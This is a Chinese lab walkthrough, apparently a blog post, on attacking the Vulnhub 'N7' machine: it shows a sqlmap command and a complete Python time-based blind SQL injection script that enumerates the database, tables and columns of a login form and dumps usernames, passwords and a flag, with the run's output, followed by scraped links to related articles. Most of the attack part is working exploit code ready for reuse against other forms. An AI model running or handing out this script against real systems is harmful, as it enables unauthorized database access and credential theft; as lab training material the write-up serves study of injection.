Python实现SQL注入脚本
实验环境
攻击主机IP:172.18.53.145
目标主机IP:172.18.53.11
此处的靶场是Vulnhub中的WEB MACHINE: (N7)
靶场测试
访问靶场的登录页面,使用sqlmap测试该页面是否存在SQL注入

首先,使用Burpsuite在登录时抓包

将这个数据包保存下来


利用sqlmap,指定刚保存的post数据文件进行测试。
-r指定文件,-p指定测试参数,先测试下user参数
sqlmap -r post.txt -p user --dbs

发现存在SQL注册,且读出了四个数据库,接着尝试编写脚本进行注入。
脚本编写
首先通过时间盲注循环判断当前数据库名的长度,将该语句作为payload发送到目标主机
select if(length((select database()))=1,sleep(3),1))
如果目标主机响应的时间超过3秒,那么可以判断该处猜测的值是对的
# 判断长度
for n in range(1,100):
payload = {"user":"\' or (select if(length((select database()))=" + str(n) + ",sleep(3),1)) #", "pass":"1", "sub":"SEND"}
r = requests.post(url, data=payload, headers=headers)
if r.elapsed.total_seconds() > 3:
db_name_len = n
break
然后根据数据库名的长度,使用下面的payload循环判断数据库名每一位的值,同样,根据目标主机的响应时间判断
select if(ascii(substr((select database()),0,1))=ascii,sleep(3),1)
判断代码逻辑如下:
# 判断名字
for i in range(1, db_name_len + 1):
for c in all:
payload = {"user":"\' or (select if(ascii(substr((select database())," + str(i) + ",1))=" + str(ord(c)) + ",sleep(3),1)) #", "pass":"", "sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
db_name.append(c)
if c == ",":
print("")
continue
print(c, end='', flush=True)
最后,最后,用同样的逻辑判断数据表名、数据列名和每一列对应的值。
完整代码如下:
import requests
import string
import sys
# 所有可打印字符
all = string.printable
# 目标主机URL
url = "http://172.18.53.11/enter_network/"
headers = {"Content-Type":"application/x-www-form-urlencoded"}
# 获取数据库名
def extract_db_name():
print("[+] Extracting db name")
db_name = []
# 判断数据库名长度
for n in range(1,100):
payload = {"user":"\' or (select if(length((select database()))=" + str(n) + ",sleep(3),1)) #", "pass":"1", "sub":"SEND"}
r = requests.post(url, data=payload, headers=headers)
if r.elapsed.total_seconds() > 3:
db_name_len = n
break
print("[+] the length of db name: " + str(db_name_len))
# 获取数据库名
print("[+] the name of db: ", end='')
for i in range(1, db_name_len + 1):
for c in all:
payload = {"user":"\' or (select if(ascii(substr((select database())," + str(i) + ",1))=" + str(ord(c)) + ",sleep(3),1)) #", "pass":"", "sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
db_name.append(c)
if c == ",":
print("")
continue
print(c, end='', flush=True)
print("\n")
return db_name
# 获取数据表的内容
def extract_tables(db_name):
db_name = "".join(db_name)
print("[+] Finding number of table in current db")
table_name = []
# 判断当前数据库中存在几张数据表
for n in range(1, 50):
payload = {"user":"\' or (select if((select count(table_name) from information_schema.tables where table_schema=\'" + db_name +"\')=" + str(n) + ",sleep(3),1)) #", "pass":"1", "sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
table_num = n
break
print("[+] Finding " + str(table_num) + " tables in current db")
# 判断所有数据表名的长度
print("[+] Finding the name of table in current db: ")
for n in range(1, 100):
payload = {"user":"\' or (select if(length((select group_concat(table_name) from information_schema.tables where table_schema=\'" + db_name + "\' limit 0,1))=" + str(n) + ",sleep(3),1))#", "pass":"1", "sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
table_name_len = n
break
# 获取当前数据库中所有的数据表
for i in range(1, table_name_len + 1):
for c in all:
payload = {"user":"\' or (select if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\'" + db_name + "\' limit 0,1),"+ str(i) +",1))="+str(ord(c))+",sleep(3),1)) #", "pass":"1", "sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
table_name.append(c)
if c == ",":
print("")
continue
print(c, end="", flush=True)
print("\n")
# 是否继续获取列名
column_name_inject = input("Show the name of column? [y/n]")
if column_name_inject == "y" or column_name_inject == "yes":
pass
else:
sys.exit()
table_name = "".join(table_name)
table_name = table_name.split(",")
# 获取数据表中的具体内容
for table in table_name:
print("[+] Finding the column name of " + table)
columns_name = []
# 判断数据表中所有列名的长度
for n in range(1, 100):
payload = {"user":"\' or (select if(length((select group_concat(column_name) from information_schema.columns where table_name=\'" + table + "\' limit 0,1))= "+ str(n) + ",sleep(3),1)) #", "pass":"1", "sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
column_name_len = n
break
# 获取数据表的列名
for i in range(1, column_name_len + 1):
for c in all:
payload = {"user":"\' or (select if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=\'"+ table + "\' limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + ",sleep(3),1)) #", "pass":"1", "sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
columns_name.append(c)
if c == ",":
print("")
continue
print(c, end="", flush=True)
print("\n")
# 是否继续获取数据表中每列的值
column_value_inject = input("Show the value of column? [y/n]:")
if column_value_inject == "y" or column_value_inject == "yes":
pass
else:
sys.exit()
columns_name = "".join(columns_name)
columns_name = columns_name.split(",")
# 获取每列的内容
for column in columns_name:
column = "".join(column)
print("[+] Finding the value of " + column)
# 判断数据表所有列内容的长度
for n in range(1, 1000):
payload = {"user":"\' or (select if(length((select group_concat(" + column + ") from " + table + " limit 0,1))= "+ str(n) + ",sleep(3),1)) #","pass":"1","sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
columns_values_len = n
break
# 获取数据表中每列的值
for i in range(1, columns_values_len + 1):
for c in all:
payload = {"user":"\' or (select if(ascii(substr((select group_concat(" + column + ") from " + table + " limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + ",sleep(3),1)) #","pass":"1","sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
if c == ",":
print("")
continue
print(c, end="", flush=True)
print("")
try:
db_name = extract_db_name() # 获取当前数据库名
user_input = input("Show the name of table? [y/n]:") # 是否继续获取表名
if user_input == "y" or user_input == "yes":
extract_tables(db_name)
else:
sys.exit()
print("Done!")
except KeyboardInterrupt:
print("")
print("[+] Exiting...")
sys.exit()
代码执行结果:
┌──(kali㉿kali)-[~/tools]
└─$ python sqli.py
[+] Extracting db name...
[+] the length of db name: 7
[+] the name of db: Machine
Show the name of table? [y/n]:y
[+] Finding number of table in current db...
[+] Finding 1 tables in current db...
[+] Finding the name of table in current db:
login
Show the name of column? [y/n]y
[+] Finding the column name of login
username
password
role
Show the value of column? [y/n]y
[+] Finding the value of username
administrator
[+] Finding the value of password
FLAG{N7:KSA_01}
[+] Finding the value of role
admin
Done!
Python实现SQL注入脚本的更多相关文章
- phpcms v9 sql注入脚本
phpcms v9 SQL注入脚本 用法:python phpcms.py http://www.baidu.com import requests,sys,urllib url = sys.argv ...
- python防止sql注入的方法
python防止sql注入的方法: 1. 使用cursor.execute(sql, args)的参数位: sql_str = "select * from py_msgcontrol.py ...
- python 打造一个sql注入脚本 (一)
0x00前言: 昨天刚刚看完小迪老师的sql注入篇的第一章 所以有了新的笔记. 0x01笔记: sql注入原理: 网站数据传输中,接受变量传递的值未进行过滤,导致直接带入数据库查询执行的操作. sql ...
- Python防止sql注入
看了网上文章,说的都挺好的,给cursor.execute传递格式串和参数,就能防止注入,但是我写了代码,却死活跑不通,怀疑自己用了一个假的python 最后,发现原因可能是不同的数据库,对于字符串的 ...
- 笔记:Python防止SQL注入
非安全的方式,使用动态拼接SQL 输入' or 1 = 1 or '1 sql ="""SELECT * FROM goods WHERE name = '%s';&qu ...
- 常规SQL注入脚本
一:union报错注入 猜字段长度:order by 28 先显示位http://127.0.0.1/sql.php?cmd=-1 UNION SELECT 1,2,3,4,5,6,7,8,9 当前数 ...
- SQL注入脚本(基于时间)
#encoding=utf-8 import httplib import time import string import sys import urllib header = {'Accept' ...
- python 防止sql注入字符串拼接的正确用法
在使用pymysql模块时,在使用字符串拼接的注意事项错误用法1 sql='select * from where id="%d" and name="%s" ...
- 手动方式SQL注入脚本命令之精华版
.判断是否有注入;and = ;and = .初步判断是否是mssql ;and user> .注入参数是字符and [查询条件] and = .搜索时没过滤参数的and [查询条件] and ...
- 禁用substr、substring、mid函数的sql注入脚本
#encodeing=utf-8 import requests import sys reload(sys) sys.setdefaultencoding('utf-8') payloads = l ...
随机推荐
- 2021 ASP.NET Core 开发者路线图
GitHub地址:https://github.com/MoienTajik/AspNetCore-Developer-Roadmap/blob/master/ReadMe.zh-Hans.md
- Windows—通过Navicat导入MySQL示例数据库employees
Navicat是一套可创建多个连接的数据库管理工具,用以方便管理 MySQL.Oracle.PostgreSQL.SQLite.SQL Server.MariaDB .MongoDB 等不同类型的数据 ...
- [JVM]GC日志解读解析
GC日志解读解析 示例代码 package jvm.test1; import java.util.Random; import java.util.concurrent.TimeUnit; impo ...
- 同一份代码怎能在不同环境表现不同?记一个可选链因为代码压缩造成的bug
壹 ❀ 引 某一天,CSM日常找我反馈客户紧急工单,说有一个私有部署客户升级版本后,发现一个功能使用不太正常.因为我们公司客户分为两种,一种是SaaS客户,客户侧使用的版本被动跟随主版本变动,而私有部 ...
- STM32F407VET6 / BLACK_F407VE开发板间隔0.5秒不断重启
有一块 STM32F407VET6 的故障开发板, 之前的问题是经常无法烧录, 必须reset之后才能连接, 具体查看这篇 STM32F407VET6烧录出现flash download failed ...
- 【Android逆向】破解黑宝宝apk,绕过签名校验
这是52pojie的一道题,实现输入任何密码都可以登录成功 他知道你最近在学习Android逆向 他想在游戏上线前让你测试一下他新加的签名验证是否能防住别人的破解. 下面是李华编写的黑宝宝apk 链接 ...
- Java JVM——3.运行时数据区概述及线程
运行时数据区概述 在JVM 中的位置 内部划分 当我们通过前面的:类的加载 → 验证 → 准备 → 解析 → 初始化 这几个阶段完成后,执行引擎就会对我们的类进行使用,同时执行引擎将会使用到我们的运行 ...
- 数仓的等待视图中,为什么会有Hashjoin-nestloop
本文分享自华为云社区<GaussDB(DWS)等待视图之Hashjoin-nestloop>,作者:Arrow0lf. 1. 业务场景 众所周知,GaussDB(DWS)中有3种常见的jo ...
- HTTP1.0/HTTP1.1/HTTP2.0的演进
HTTP1.0 短连接,每次请求都需要重新建立连接 不支持断点续传 HTTP1.1 支持长连接,同一个客户端连接可保持长连接,请求可在连接中顺序发出. 查看http请求头中有keepalive 参数 ...
- 从零开始学Spring Boot系列-集成mybatis
在Spring Boot的应用开发中,MyBatis是一个非常流行的持久层框架,它支持定制化SQL.存储过程以及高级映射.在本篇文章中,我们将学习如何在Spring Boot项目中集成MyBatis, ...